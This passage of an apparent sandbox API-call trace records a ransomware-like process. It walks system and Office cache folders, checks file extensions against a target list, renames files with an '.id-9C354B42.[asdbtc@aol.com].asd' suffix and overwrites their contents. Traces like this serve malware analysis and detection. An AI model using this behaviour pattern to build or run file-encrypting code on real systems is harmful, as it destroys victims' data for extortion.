(lpString1=".rar", lpString2=".mui") returned 1 [0041.747] lstrlenW (lpString=".bz2") returned 4 [0041.747] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.747] lstrlenW (lpString=".7z") returned 3 [0041.747] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.747] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0041.747] lstrlenW (lpString=".dbf") returned 4 [0041.747] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.747] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0041.747] lstrlenW (lpString=".1cd") returned 4 [0041.747] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.747] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0041.747] lstrlenW (lpString=".jpg") returned 4 [0041.747] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.747] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0041.747] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0041.747] lstrlenW (lpString=".doc") returned 4 [0041.747] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.747] lstrlenW (lpString=".docx") returned 5 [0041.747] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.748] lstrlenW (lpString=".pdf") returned 4 [0041.748] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.748] lstrlenW (lpString=".xls") returned 4 [0041.748] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.748] lstrlenW (lpString=".xlsx") returned 5 [0041.748] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.748] lstrlenW (lpString=".ppt") returned 4 [0041.748] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.748] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0041.748] lstrlenW (lpString=".zip") returned 4 [0041.748] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.748] lstrlenW (lpString=".rar") returned 4 [0041.748] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.748] lstrlenW (lpString=".bz2") returned 4 [0041.748] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.748] lstrlenW (lpString=".7z") returned 3 [0041.748] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.748] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0041.748] lstrlenW (lpString=".dbf") returned 4 [0041.748] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.748] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0041.748] lstrlenW (lpString=".1cd") returned 4 [0041.748] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.748] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0041.748] lstrlenW (lpString=".jpg") returned 4 [0041.748] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.748] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0041.748] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.748] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0041.749] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=90704) returned 1 [0041.749] CloseHandle (hObject=0x168) returned 1 [0041.749] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0041.749] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0041.749] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.749] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0041.749] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0041.749] lstrlenW (lpString=".doc") returned 4 [0041.749] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.749] lstrlenW (lpString=".docx") returned 5 [0041.749] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.749] lstrlenW (lpString=".pdf") returned 4 [0041.749] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.749] lstrlenW (lpString=".xls") returned 4 [0041.749] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.749] lstrlenW (lpString=".xlsx") returned 5 [0041.749] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.749] lstrlenW (lpString=".ppt") returned 4 [0041.749] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.749] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0041.749] lstrlenW (lpString=".zip") returned 4 [0041.749] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.750] lstrlenW (lpString=".rar") returned 4 [0041.750] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.750] lstrlenW (lpString=".bz2") returned 4 [0041.750] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.750] lstrlenW (lpString=".7z") returned 3 [0041.750] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.750] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0041.750] lstrlenW (lpString=".dbf") returned 4 [0041.750] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.750] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0041.750] lstrlenW (lpString=".1cd") returned 4 [0041.750] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.750] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0041.750] lstrlenW (lpString=".jpg") returned 4 [0041.750] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.750] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0041.750] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0041.750] lstrlenW (lpString=".doc") returned 4 [0041.750] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.750] lstrlenW (lpString=".docx") returned 5 [0041.750] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.750] lstrlenW (lpString=".pdf") returned 4 [0041.750] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.750] lstrlenW (lpString=".xls") returned 4 [0041.750] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.750] lstrlenW (lpString=".xlsx") returned 5 [0041.750] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.750] lstrlenW (lpString=".ppt") returned 4 [0041.750] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.750] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0041.750] lstrlenW (lpString=".zip") returned 4 [0041.750] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.750] lstrlenW (lpString=".rar") returned 4 [0041.751] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.751] lstrlenW (lpString=".bz2") returned 4 [0041.751] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.751] lstrlenW (lpString=".7z") returned 3 [0041.751] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.751] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0041.751] lstrlenW (lpString=".dbf") returned 4 [0041.751] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.751] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0041.751] lstrlenW (lpString=".1cd") returned 4 [0041.751] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.751] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0041.751] lstrlenW (lpString=".jpg") returned 4 [0041.751] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.751] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0041.751] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.751] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0041.751] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=90704) returned 1 [0041.751] CloseHandle (hObject=0x168) returned 1 [0041.751] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0041.752] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0041.752] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.752] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0041.752] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0041.752] lstrlenW (lpString=".doc") returned 4 [0041.752] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.752] lstrlenW (lpString=".docx") returned 5 [0041.752] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.752] lstrlenW (lpString=".pdf") returned 4 [0041.752] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.752] lstrlenW (lpString=".xls") returned 4 [0041.752] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.752] lstrlenW (lpString=".xlsx") returned 5 [0041.752] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.752] lstrlenW (lpString=".ppt") returned 4 [0041.752] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.752] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0041.752] lstrlenW (lpString=".zip") returned 4 [0041.752] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.752] lstrlenW (lpString=".rar") returned 4 [0041.752] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.752] lstrlenW (lpString=".bz2") returned 4 [0041.752] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.752] lstrlenW (lpString=".7z") returned 3 [0041.752] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.752] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0041.752] lstrlenW (lpString=".dbf") returned 4 [0041.752] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.752] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0041.752] lstrlenW (lpString=".1cd") returned 4 [0041.752] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.752] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0041.753] lstrlenW (lpString=".jpg") returned 4 [0041.753] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.753] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0041.753] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0041.753] lstrlenW (lpString=".doc") returned 4 [0041.753] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.753] lstrlenW (lpString=".docx") returned 5 [0041.753] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.753] lstrlenW (lpString=".pdf") returned 4 [0041.753] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.753] lstrlenW (lpString=".xls") returned 4 [0041.753] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.753] lstrlenW (lpString=".xlsx") returned 5 [0041.753] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.829] lstrlenW (lpString=".ppt") returned 4 [0041.829] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.829] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0041.829] lstrlenW (lpString=".zip") returned 4 [0041.829] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.829] lstrlenW (lpString=".rar") returned 4 [0041.829] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.829] lstrlenW (lpString=".bz2") returned 4 [0041.829] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.829] lstrlenW (lpString=".7z") returned 3 [0041.830] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.830] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0041.830] lstrlenW (lpString=".dbf") returned 4 [0041.830] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.830] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0041.830] lstrlenW (lpString=".1cd") returned 4 [0041.830] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.830] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0041.830] lstrlenW (lpString=".jpg") returned 4 [0041.830] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.830] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0041.830] lstrlenW (lpString="ExcelLR.cab") returned 11 [0041.830] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0042.223] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=16972987) returned 1 [0042.223] CloseHandle (hObject=0x190) returned 1 [0042.223] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab")) returned 0x2020 [0042.224] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.224] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0042.224] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0042.225] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.225] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.225] ReadFile (in: hFile=0x190, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.236] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.238] ReadFile (in: hFile=0x190, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.245] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.245] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.245] ReadFile (in: hFile=0x190, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.566] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.566] WriteFile (in: hFile=0x190, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x303fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0042.584] SetEndOfFile (hFile=0x190) returned 1 [0042.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f73bf0 [0042.588] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.588] WriteFile (in: hFile=0x190, lpBuffer=0x3f73bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f73bf0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.589] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.589] WriteFile (in: hFile=0x190, lpBuffer=0x3f73bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f73bf0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.590] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.590] WriteFile (in: hFile=0x190, lpBuffer=0x3f73bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f73bf0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.592] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f73bf0 | out: hHeap=0x510000) returned 1 [0042.592] CloseHandle (hObject=0x190) returned 1 [0045.435] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0045.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0045.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0045.435] lstrlenW (lpString=".doc") returned 4 [0045.435] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.435] lstrlenW (lpString=".docx") returned 5 [0045.436] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0045.436] lstrlenW (lpString=".pdf") returned 4 [0045.436] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.436] lstrlenW (lpString=".xls") returned 4 [0045.436] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.436] lstrlenW (lpString=".xlsx") returned 5 [0045.436] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0045.436] lstrlenW (lpString=".ppt") returned 4 [0045.436] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.436] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0045.436] lstrlenW (lpString=".zip") returned 4 [0045.436] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.436] lstrlenW (lpString=".rar") returned 4 [0045.436] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.436] lstrlenW (lpString=".bz2") returned 4 [0045.436] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.436] lstrlenW (lpString=".7z") returned 3 [0045.436] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.436] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0045.436] lstrlenW (lpString=".dbf") returned 4 [0045.436] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.436] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0045.436] lstrlenW (lpString=".1cd") returned 4 [0045.436] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.436] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0045.436] lstrlenW (lpString=".jpg") returned 4 [0045.436] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.437] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0045.437] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0045.437] lstrlenW (lpString=".doc") returned 4 [0045.437] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.437] lstrlenW (lpString=".docx") returned 5 [0045.437] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0045.437] lstrlenW (lpString=".pdf") returned 4 [0045.437] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.437] lstrlenW (lpString=".xls") returned 4 [0045.437] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.437] lstrlenW (lpString=".xlsx") returned 5 [0045.437] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0045.437] lstrlenW (lpString=".ppt") returned 4 [0045.437] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.437] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0045.437] lstrlenW (lpString=".zip") returned 4 [0045.437] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.437] lstrlenW (lpString=".rar") returned 4 [0045.437] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.437] lstrlenW (lpString=".bz2") returned 4 [0045.437] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.437] lstrlenW (lpString=".7z") returned 3 [0045.437] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.437] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0045.438] lstrlenW (lpString=".dbf") returned 4 [0045.438] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0045.438] lstrlenW (lpString=".1cd") returned 4 [0045.438] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0045.438] lstrlenW (lpString=".jpg") returned 4 [0045.438] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.438] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0045.438] lstrlenW (lpString="WordLR.cab") returned 10 [0045.438] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0045.439] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=43806141) returned 1 [0045.439] CloseHandle (hObject=0x190) returned 1 [0045.439] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0045.439] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.439] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0045.440] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 